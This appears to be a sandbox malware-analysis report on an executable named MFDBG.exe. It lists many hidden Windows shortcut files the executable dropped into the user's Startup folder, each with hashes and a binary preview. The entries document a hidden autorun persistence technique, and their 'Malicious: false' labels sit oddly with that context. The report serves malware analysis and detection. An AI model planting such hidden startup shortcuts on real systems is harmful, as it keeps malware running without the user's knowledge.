File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923235381124656
Encrypted:	false
SSDEEP:	24:8N5Bf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8NjFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	6A64F74E0C898FD7096C8B876E1C645C
SHA1:	A72958B03A362B12415678468A2A2DFAA28D7FC3
SHA-256:	BC8DCB7D648D6DD2861E530329486B45F43F1FD04D0C1ED3E471A18C4CDBB17C
SHA-512:	7F46AA3FE918683C003625A0D271A4FE95723647244BB28B5027DF42D939A985DDD8D77D931F508317A712DA40E8B62CFC6345D6FFC4AB17E908D8E7B0AC9F7C
Malicious:	false
Preview:	L..................F....".......d......:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...4..:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c04398a29594406ea5ca6be4eec2eb95.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:11 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923741176750014
Encrypted:	false
SSDEEP:	24:8MBf68EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8CfEvZ0yRO7DLO2zdxdRd1kyg
MD5:	2EFDD29FE9AB64B7782FE2E5ADB0EF90
SHA1:	0E60E778806992649641B3D4356C31B0A53DF27C
SHA-256:	B43E13812DE4DEC002B9C28899F0FAB776BFE0F935C558068F5160E0B41D6618
SHA-512:	3FE57B01FE0A1E55AD789FCF52AF101E7B71EBC2AE798361F917FD6BF8B28DC386B1EBB6BC4A6EE77FBC520D865B70FAA9BB21EF6243369C56B69765B49F885C
Malicious:	false
Preview:	L..................F....".......d......#d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...X.#d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c05893d423f443539ffd74d879d727d9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921223128106846
Encrypted:	false
SSDEEP:	24:8+Bf68EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8UfEvZ0yRO7DLO2zdxdRd1kyg
MD5:	DBECCB70272FD05DD78B0B43EAA59E89
SHA1:	F5C52C451595CB4AC42461A6E61D73A36201FF4E
SHA-256:	63FD29FF65D825799BD34B7EB9B687F7D7E6465D70A31DED758EC87E4F5D58BC
SHA-512:	66E50DC8E22AE1C4A12C7BDA0679648FCC80594154A888569B2BCC255A8280976AE47AFD222589DE96BA7A164DEED14AFD388C7CBBC60E08AB2FA29304FDAD37
Malicious:	false
Preview:	L..................F....".......d......]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...&v.\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c08ec426f6ae45428894960cfe77236d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:55 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921891146388106
Encrypted:	false
SSDEEP:	24:81QBfi8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:81eHEvZ0yRO7DLO2zdxdRd1kyg
MD5:	70290F0C60D5418E6C7256F1E3AF40DF
SHA1:	B9C0EC8F8343CFC5B31F90B4621897288D735C9E
SHA-256:	DCD1289ECED6FBF071AE0E29F9FD8D985571609AE2C5EC92BDB53C499DB3B88A
SHA-512:	07F527F161E59DA30C4B2217D359F9D8B4E4543D44383217A36ADDA1A62D81FEEEC00DD9F8C50211820696A11CAAAA8FB494E7F9EFD7945658FDB7786487C9D9
Malicious:	false
Preview:	L..................F....".......d....W.>d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....<>d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c1615bd8dbc24c0abd75af6fdecfa905.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.916658269245778
Encrypted:	false
SSDEEP:	24:8LBfeQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:892FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	BF1B3FFD6B4402EC6719F1EBEF7DB8CB
SHA1:	5DA760D832E2160D1DC06B04F3FD51EA448205BA
SHA-256:	81CAF6D2A8980964ECB2291AC0A74BA116A04329C0E3CFAF54DDB54B5C3ADFAB
SHA-512:	830FA5373B8777D7F9C16467D9B57FADD840DC851B4882914E6170B224DAC65AAF7293348D170E0AF7482D0ABAC1CF1B50F4128BDEDE1C1C7D0330C4D7C1AE98
Malicious:	false
Preview:	L..................F....".......d....-kRd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...6UrRd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c180b78f6ae9498fbf22ec331d77bd3f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:50 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92827201645492
Encrypted:	false
SSDEEP:	24:8YuBfX8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8YEEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	B34C2565B2162A98EE5D4C68FBA2B2F5
SHA1:	2147D76DA23FD336A8B2DBF48FD8780F769245C7
SHA-256:	3E3E4654A014C7CE01CADE38DE7C8921FAA9F842B91AE7E537E3CBD0E3CAD25F
SHA-512:	7518BDD57EDC3C44A09A29C63DEBA8EE404D9191F5F4BCF24D4F4C4CB269701A81E751433D33E4177811B2FFAADC7286C888FD8FD2EF44C60A31BA97D0FA4434
Malicious:	false
Preview:	L..................F....".......d....{';d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....c.;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c18bbfa506ae42f3acf58c88617753d6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:41 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9246598001816935
Encrypted:	false
SSDEEP:	24:8uBfo8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8EFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	2F122F9CFB39907C7294119AE4D27F76
SHA1:	D9F60355C383B0598F2D836EA4619DED87B98376
SHA-256:	6C5B87659BF3F9ADF60AC0F0CDDABF13EEC9E62706AD2100F991674DB294B489
SHA-512:	4A2C028002998B085D0BAE2B04C0D86ED82C8709595424BCF86804E4AB3E0F58FAAFC095A9DDA8BC11BD14E69C8211594B1C33F33713979AC11DF4CDB8B0FB6D
Malicious:	false
Preview:	L..................F....".......d......}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....W.}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c1fe8295eb164f2ab6b8488ffb0fc20e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.916150056032175
Encrypted:	false
SSDEEP:	24:8ABfEf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8OBEvZ0yRO7DLO2zdxdRd1kyg
MD5:	5226C69A2609BEA0B4C06132EDD3F012
SHA1:	EB6AB3B5711BFBE4460A111EAE25FC795BB5CB65
SHA-256:	46902047DC7DA890944915C4B99A7CCB629D9893E955978C2B2347CF937ACEAF
SHA-512:	5AA9ED7B31E40B912B57FC26F00F0BD9CDEBA468E06A82D0BFB73F3A2253C9D8BF165CAC0B2AF5FF1FB16F39F3F1BF27C3815661483106EDA1E07CB1BD1BE922
Malicious:	false
Preview:	L..................F....".......d.....F.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....F.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c20423503e5345778f9e4e47df1c79c7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:58 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929692619483197
Encrypted:	false
SSDEEP:	24:8KBfVkD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8It9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	5DFA773C3E19D5A2A427E8E3822ABA81
SHA1:	FB36E815BCB347D54E1D4BC97813EC81726B399C
SHA-256:	08DE9A53413D77C9550F273E2C7B1EB9068CFB4EB10774015EC9107223D7ADE1
SHA-512:	D3D9992A32FC3BCCCDED3B3BE6903D9C1A13B1D5B80BBECBF4F6BA15C2B9C71522F054FECAE367D651FACAD98CDFF0FB6A7EBDA04BDA9A8F4E8385CD6841B466
Malicious:	false
Preview:	L..................F....".......d...'..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....,.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c2291ad259a44eb39743c51fe7f859ba.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.91250706098905
Encrypted:	false
SSDEEP:	24:8Nf3BfMYH8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8NJUJEvZ0yRO7DLO2zdxdRd1kyg
MD5:	66D38F5093F6E3B143E08BBA3AB372F7
SHA1:	179DB55ED45726FC858A1C65B87A7BD20E3B48E4
SHA-256:	996E95B98DCFB34071DF334CFFDA1444E1E31D5CBC4270F4087B29521D7B8479
SHA-512:	665B5B64077B85A69DB15755841AD1848A2558F06A838731BBE8701CC9C97FB947160704B45FA80B9845F5A9C283574C4EABA6E2BFEFC7CAF05AE639B294960A
Malicious:	false
Preview:	L..................F....".......d...0.&\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c22ddca1cdfe4e9ab0e78abee346f329.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927475829576027
Encrypted:	false
SSDEEP:	24:8FqBfT8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8q4EvZ0yRO7DLO2zdxdRd1kyg
MD5:	132FD32EF6CE644587B00EAE3705CE21
SHA1:	7A0EF663C990E41414CD233E8932A7421B40FAD1
SHA-256:	832216D110FB52C609F82329F713EB7565089D5E4D8DC3BC5FE77A14F0935576
SHA-512:	D58225DC02D24600EAF0940204BABB56E6D87DAE98B35167A7DA4CCF3892FD191347AE6FE75499910BFE79E799360314F643393945BD34B3123AF80986AE99AE
Malicious:	false
Preview:	L..................F....".......d...x.Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c248998bc7984c0a9363c00298387770.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:15 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9192651278852955
Encrypted:	false
SSDEEP:	24:8WBfm8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8cDEvZ0yRO7DLO2zdxdRd1kyg
MD5:	21822CF66DA68FA075912D1D6B153D1C
SHA1:	070E634516FAB4C270C11A854237D8D2BDD74C55
SHA-256:	EEBE5991799210D6A27A832688566B908D87681562DBF44819D4485B4B33F269
SHA-512:	BD16BDAAD53C6AE951FFF678008D6E05093E666DFEE42F5B850D2FA523FAEC3D3D392A20D9FEC90ADA80223E11A3DA33C89B579BB6C91B86100DDE17E730D971
Malicious:	false
Preview:	L..................F....".......d......&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c29943771c15413eb51ad2bc0b08131a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924463484299295
Encrypted:	false
SSDEEP:	24:8ABf/8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8OMEvZ0yRO7DLO2zdxdRd1kyg
MD5:	58B6F72870F625C4FD4B5BED742F4A7B
SHA1:	D2716D36EA3D7FDFBF0FAD1546F2D0D66589427E
SHA-256:	7A2DFF9C0EAFCFF435D565A4F9EEF64869579B2E58BA91370CEF26BDC0FE51D4
SHA-512:	81814FFF2FCFB5418EFE1E5501214159339FEA4E323EE4EBBBC4AAC7CEEB2AE7344E3AA7AD966FFF16C20B6D8DE009B4D2289EDD957574F7B1CCAEED5DE04DF4
Malicious:	false
Preview:	L..................F....".......d...!ifRd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....IRd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c2c87489ad2342da96371ae94ed441ea.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
